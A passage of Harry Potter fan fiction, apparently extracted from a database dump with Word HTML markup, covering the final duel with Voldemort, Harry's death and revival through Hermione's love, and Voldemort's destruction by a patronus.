*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The chamber on the\ntop floor awed Harry: it was an exact replica of the Chamber of Secrets hidden\nunderneath the school.&nbsp; But if there was\na difference, it was the sinister throne at the end of the chamber.&nbsp; However, when Harry and Hermione walked up\nto it, they found that it was empty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Where is\nhe?&quot; asked Hermione.&nbsp; Harry looked\nback and forth gritting his teeth.&nbsp; He\nwas feeling a burning pain in his scar indicated that Voldemort was somewhere\nnear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Riddle!&quot;\nyelled Harry.&nbsp; &quot;Come out!&nbsp; Come out and fight!&quot;&nbsp; His voice echoed throughout the chamber.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For about a\nminute, there was silence throughout the chamber.&nbsp; Suddenly, Hermione let out a scream when her body was flung\nforward toward the throne as if she were summoned by a summoning charm.&nbsp; She was seated in the throne whereupon\nmagical ropes were conjured up and she was tied to the throne.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione!&quot;&nbsp; Harry tried to make his way to a frightened\nHermione but stopped when a sudden surge of pain ran through his scar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lord Voldemort\nstepped out in view from behind the throne, wearing a black robes with silver\nhighlights and a green serpent embroidered on the torso.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why Harry,\nlong time no see,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Voldemort.&quot;&nbsp; Harry\'s extreme confidence was gone, his\nface clearly showing the fear he felt for being in the Dark Lord\'s presence\nonce again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I you\'re\nworried about your mudblood friend here, than there is nothing to worry\nabout,&quot; said Voldemort gesturing to a saking Hermione.&nbsp; &quot;She is still my first choice for\nmother of my heir, though I am afraid I am going to have to choose a new\nfather.&nbsp; I had her tied up to make sure\nshe didn\'t interfere with our duel.&quot;&nbsp;\nVoldemort turned to Harry, a very ugly look on his face.&nbsp; &quot;Why don\'t we finish it, Potter?&nbsp; Why don\'t we finish what started 17 years\nago?&nbsp; Let us end it one and for\nall!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;My thoughts\nexactly!&quot; yelled Harry.&nbsp; He\nshouted, <i>&quot;Stupefius Expelliarmus!&quot;</i> at the same time Voldemort\nshouted, <i>&quot;Crucio!&quot;</i>&nbsp; The\ntwo spells met half way in between them and formed into the golden thread of\nPrior Incantatem.&nbsp; Voldemort immediately\nbroke the connection.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I see that\nwe still can not duel with our wands,&quot; he said.&nbsp; &quot;I suppose when that happens, we need to rely on\nthese.&quot;&nbsp; Voldemort pulled out a\nsinister looking single edged sword, its hilt in the shape of a skull, and a\ngreen serpent drawn along the blade.&nbsp;\n&quot;Recognize this, Potter?&nbsp;\nIts made from the fang of a basilisk, still as poisonous.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is that\nso?&quot; said Harry.&nbsp; &quot;Well I\ncould care less, so long as I can defeat you!&quot;&nbsp; With a yell, Harry charged forward, his sword once again\nemanating the dazzling blade of light.&nbsp;\nThe blade hit Voldemort\'s sword, sending out a flurry of sparks.&nbsp; Undaunted, Harry swung out another blade\nwhich Voldemort also caught on his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Impressive,&quot;\nsaid Voldemort.&nbsp; He started flinging his\nsword around in brilliant sword skills that no one would\'ve known he had.&nbsp; Harry deflected each of the blows with\nbrilliant skills.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Harry saw\nhis chance.&nbsp; He made a flying leap,\nsomersaulted in the air and landed behind the Dark Lord, whereupon he yelled, <i>&quot;Maximus\nReducto!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The explosion\ncaught Voldemort in full force as it slammed into his back.&nbsp; Voldemort was blasted away down the chamber\nand slammed into one of the pillars.&nbsp;\nThe force of his impact was so strong that a few cracks emerged on the\npillar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">However, Voldemort\nappeared to be unharmed as he stood up and brushed dust off of his robes.&nbsp; Harry gritted his teeth in frustration.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Disappointed,\nPotter?&quot; asked Voldemort.&nbsp; &quot;I\nwould expect that you knew that an advanced reductor wouldn\'t work on me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Of course I\nknew that!&quot; hissed Harry.&nbsp; &quot;I\nwas still hoping for at least a little effect.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort grinned\nand started to make his way toward Harry, brandishing his sword and wand.&nbsp; Harry steadied himself and shouted, <i>&quot;Draco\nIncendio!&quot;</i>&nbsp; A powerful flaming\ndragon shot out of Harry\'s wand.&nbsp;\nVoldemort looked surprised as the fire dragon engulfed his body.&nbsp; However, Voldemort simply walked through the\nflames unharmed and suddenly emerged in front of Harry through the flames.&nbsp; Before Harry could react, Voldemort had\nplaced him on the Cruciatus Curse!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry!&quot;\nscreamed Hermione.&nbsp; She felt as if her\ninsides were being torn apart as she saw him writhe in pain on the ground in\nfront of her, barely holding in his screams of pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'m\nimpressed, Potter,&quot; said Voldemort.&nbsp;\n&quot;The dragon flame was a spell that only young Malfoy could use, but\nyou have brilliant added it to your own arsenal after only one duel with\nhim!&quot;&nbsp; Voldemort laughed out loud\nas Harry continued to writhe in pain.&nbsp;\nHe lifted his sword up in a stance that clearly meant he was about to\ndecapitate Harry.&nbsp; &quot;Unfortunately,\nthat is enough to defeat me.&quot;&nbsp;\nHermione screamed as Voldemort swung his sword down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Despite his pain,\nHarry managed to lift his sword in time to block Voldemort\'s strike.&nbsp; Before Voldemort could do anything more,\nHarry lifted his wand and yelled <i>&quot;Stupefius Expelliarmus!&quot;</i>&nbsp; Voldemort was blasted away but\nunfortunately, he was neither disarmed nor stunned.&nbsp; Still, the curse was broken.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry groggily\nstood up panting as he shook off the effects of the Cruciatus Curse.&nbsp; &quot;Harry, are you all right?&quot; asked\na tearful Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ll\nlive,&quot; said Harry.&nbsp; He was still\nglaring at Voldemort who once again stood up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Not bad,\nPotter,&quot; said Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry gritted his\nteeth and yelled, <i>&quot;Multiplicus Diffendo!&quot;</i>&nbsp; Hundreds of magical blades of light were\nconjured up and flew toward Voldemort.&nbsp;\nVoldemort simply cast a powerful shield charm and blocked all of the\nblades.&nbsp; He made his way up to Harry\nbrandishing his sword over his head.&nbsp; He\nformed a huge blade of light around the sword and swung it down at Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry also formed\na powerful blade of light around his own sword.&nbsp; The two blades collided into each other, shooting off sparks as\nwell as the sound of cackling energy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and\nVoldemort continued to swing the powerful blades of light at each other, sparks\nand energy released with every hit of the blade against each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know you\ncan\'t beat me, Potter,&quot; taunted Voldemort as the two blades collided\nagainst each other.&nbsp; &quot;I have been a\nBattle Wizard far longer than you have.&nbsp;\nBy sheer experience, I have the advantage.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Really\nRiddle?&quot; hissed Harry.&nbsp; &quot;I\nthought you wouldn\'t have been able to catch up with the high energies of\nyouth!&quot;&nbsp; He placed a strong kick,\nboosted by magic on Voldemort\'s midsection.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The magic boosted\nkick sent the Dark Lord flying across the chamber.&nbsp; However, while he was still in the air, Voldemort managed to\ncatch Harry off guard and shouted, <i>&quot;Expelliarmus!&quot;</i>&nbsp; Harry\'s wand flew out of his hand and landed\ntwenty feet away to his right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry!&nbsp; Your wand!&quot; shouted Hermione from\nbehind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t worry,\nI can still fight,&quot; said Harry.&nbsp; He\nlifted his sword up in front of him, both hands on the handle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort started\nlaughing hysterically.&nbsp; &quot;You are a\nfool, Potter!&quot; he said.&nbsp;\n&quot;Without his wand, how do you expect to block this?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione shuddered\nas Voldemort shouted, <i>&quot;Avada Kedavra!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry, dodge\nit!&quot; shouted Hermione.&nbsp; Harry was\njust about to do that when he realized that Hermione was right behind him!&nbsp; If Harry dodged the killing curse, it would\nhit Hermione!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry started to\nthink as fast as he could.&nbsp; He had vowed\nto himself that he would always protect Hermione, and he knew that if he let\nHermione die, he would never be able to live with himself.&nbsp; There was only one thing left to do.&nbsp; If one of them were to die, than Harry knew\nwho that was to be.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\'s eyes\nwent wide, when it became clear that Harry wasn\'t going to dodge the killing\ncurse.&nbsp; Furthermore, he spread his arms\nout in a gesture to prevent Hermione from even being hit by the curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I love you,\nHermione,&quot; said harry.&nbsp; It was a\nwhisper but she still heard it.&nbsp;\nHermione felt a pang in her heart and tears were flowing from her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry!&nbsp; NOOOOOOOO!!!&quot; she screamed.&nbsp; The green light of the killing curse\nengulfed Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Sorry, this\nchapter was so late but I\'ve been busy lately.&nbsp;\nI guess my schedule has been fully disrupted.&nbsp; Anyway, please read and review this chapter.&nbsp; This chapter is the last cliffhanger because\nthe next chapter is the last one!&nbsp; Thank\nyou so much for reading this fic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 16, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Behold, I\nam coming soon!&nbsp; Blessed is he who keeps\nthe words of prophecy in this book.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right;layout-grid-mode:char;word-break:break-all" align="right"><i>Revelation 22:7</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 16:\nEndings and Beginnings.</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">The\nnext few seconds were a complete blur for Hermione, amidst the tears and\nscreams.&nbsp; She barely noticed the fact\nthat she had broken out of her bonds in a sheer burst of magic brought on by\nanguish.&nbsp; She barely noticed Voldemort\nlaughing triumphantly at the demise of his arch nemesis.&nbsp; All she saw was Harry crumble lifeless to\nthe ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry...no...please...no...&quot;\nHermione kneeled in front of Harry\'s body, and gently cradled him in her\narms.&nbsp;\n&quot;Harry...please...Harry...&quot; Harry\'s body was cold, and there\nwas no breath and no pulse.&nbsp; Herrmione\nwas fully sobbing now, her tears rolling off her cheeks and falling onto\nHarry\'s peaceful face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ve\nwon!&quot; shouted Voldemort, completely ignoring Hermione.&nbsp; &quot;Finally, after 17 years!&nbsp; It ends!&nbsp;\nThe Potters are no more!&nbsp; I am\nthe true master of this world!&quot;&nbsp;\nPowerful dark winds and light were now emanating from his body as the\nDark Lord laughed in evil triumph.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione, hugged\nHarry\'s still form closer to her, tears falling freely.&nbsp; He would never talk with her again.&nbsp; He would never hold her again.&nbsp; He would never laugh with her, never comfort\nher, and never kiss her ever again.&nbsp; The\npain of the realization was too much for Hermione to bear.&nbsp; Without Harry, there was no more hope for\nher.&nbsp; No more point to live.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\ndown into Harry\'s face.&nbsp; He looked so\npeaceful in his death.&nbsp; Tears still\nfalling, Hermione closed her eyes, leaned forward, and whispered, &quot;I love\nyou, Harry Potter.&quot;&nbsp; She gently\nkissed Harry\'s lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For a split\nsecond, there was nothing.&nbsp; However,\nHermione was surprised when she suddenly felt warmth on Harry\'s lips.&nbsp; A second later, she felt a heart beat.&nbsp; Then she felt Harry\'s arm circle around her\nand Harry\'s lips start to kiss her back.&nbsp;\nHermione opened her eyes to see a pair of emerald green eyes flutter\nopen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;H-Harry?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know,\nHermione?&nbsp; I love you too,&quot; said\nHarry with a smile.&nbsp; He wearily pulled\nhimself up to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Potter?!&quot;\nyelled Voldemort in shock.&nbsp; &quot;How\ndid you survive the curse?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Exact same\nway I survived it 17 years ago,&quot; said Harry.&nbsp; It was only then that Hermione noticed that there was a trail of\nblood down his face, from his reopened scar.&nbsp;\n&quot;Love.&nbsp; Hermione\'s love this\ntime rather than my mother\'s but still the same.&nbsp; Didn\'t rebound this time but still the same.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Love?&quot;\nsaid Voldemort in a disbelieving tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes\nHermione\'s love saved me this time,&quot; said Harry.&nbsp; He started think for a minute and said, &quot;Tell me\nRiddle.&nbsp; Have you ever performed the\nsecret power of Battle Wizards: the ability to temporarily resurrect the\ndead?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&nbsp; Why would I ever want to raise the\ndead?&quot; demanded Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Do you\nunderstand love, Riddle?&quot; asked Harry.&nbsp;\n&quot;The secret of the true power of a Battle Wizard is love.&nbsp; Unlike what you believe, love truly conquers\nall, even death.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort looked\nlike he was about to hyperventilate.&nbsp;\nSnapping out of a trance, Hermione grabbed her staff, which had been\ndiscarded next to the throne when she was tied up, and shouted, <i>&quot;Accio\nHarry\'s wand!&quot;</i>&nbsp; The wand flew\ntoward them and Harry snagged it in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I can not be\ndefeated!&quot; yelled Voldemort, close to hyperventilating.&nbsp; He shouted, <i>&quot;Avada Kedavra!&quot;</i>\nas loud as he could.&nbsp; The green light of\nthe killing curse sped toward Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Love\nconquers all, Remember that, Tom Marvolo Riddle,&quot; said Harry.&nbsp; He moved his wand and sword in the formation\nof the constellation Leo and shouted, <i>&quot;Astra Patronum Leo!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The stellar\npatronus in the form of a lion charged toward Voldemort, disintegrating the\nAvada Kedavra curse in the process.&nbsp;\nVoldemort screamed in pain as the patronus engulfed him.&nbsp; Since Dark Magic was what was sustaining Voldemort\'s\nlife, cleansing dark magic from him was outright fatal!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;My\nworld!&nbsp; It cannot end!&nbsp; It musn\'t!&nbsp;\nNOOOOOOOOOO!!!!!!!&quot;&nbsp;\nVoldemort screamed as his body crumbled into dust.&nbsp; Thus perished Lord Voldemort.</p>\n\n<p 